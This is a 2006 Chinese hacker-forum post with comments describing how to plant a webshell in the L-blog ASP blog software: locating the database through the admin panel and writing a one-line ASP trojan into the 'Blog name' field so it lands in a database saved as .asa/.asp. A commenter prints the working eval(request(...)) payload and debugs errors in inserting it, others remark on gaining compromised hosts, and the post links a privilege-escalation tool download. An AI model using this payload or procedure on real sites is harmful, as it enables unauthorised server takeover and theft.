2006-01-08 17:50:19 by: h4x0r
L-blog拿Webshell+提权工具
另外，在这里补充一下拿webshell的方法,Lake2说了要拿webshell需要在>>>附件管理>>跨目录猜数据库的目录得到webshell!
其实不用那么麻烦，即使改了数据库的目录一样可以找到
进入>>>数据库管理>>>你就可以看到数据库的URL了，当然基本上数据库都被改成了.asa和.asp
在>>>一般设置>>>Blog名称>>>这里填你可爱的一句话木马 就OK了.
我早就说了用l-blog的注意，还是没人听，唉...
是Kendy大大做滴![[lol]](styles/default/images/smilies/icon_lol.gif)
Click Here To Download
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=476
其实不用那么麻烦，即使改了数据库的目录一样可以找到
进入>>>数据库管理>>>你就可以看到数据库的URL了，当然基本上数据库都被改成了.asa和.asp
在>>>一般设置>>>Blog名称>>>这里填你可爱的一句话木马 就OK了.
我早就说了用l-blog的注意，还是没人听，唉...
是Kendy大大做滴
Click Here To Download
[Last Modified By h4x0r, at 2006-01-08 20:46:40]
Comments Feed: http://www.4evil.org/feed.asp?q=comment&id=476
不会吧？被改了不要找我啊
不怕被不跪之徒利用?
如果真的都改成asa,asp了
那又有一批肉鸡拉
数据库文件路径：D:\sf\blogdata\data.mdb
数据库文件空间占用：5.04 MB
怎么可能都改asp,asa了？
<%eval(request("#"))%>
比蓝屏的多了一个括号"))%>写入不了了
所以！！！我又出任%>还是不行！！！
Active Server Pages 错误 'ASP 0116'
丢失脚本关闭分隔符
/blog/blogdate/#A-Blog@SP2_051128.asa，行 7172
Script 块缺少脚本关闭标记(%>)。
还没插马
今天数据库就
Script 块缺少脚本关闭标记(%>)。
我要疯了。。。。。。。。。。。。。。。。。。
在blog名称里面补上%>都不行！！！！！！！！！
<%Else:Response.Write("<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"" />没有权限"):End If%>
我是管理员登陆
但是访问admincp/database.asp.........没有权限！！！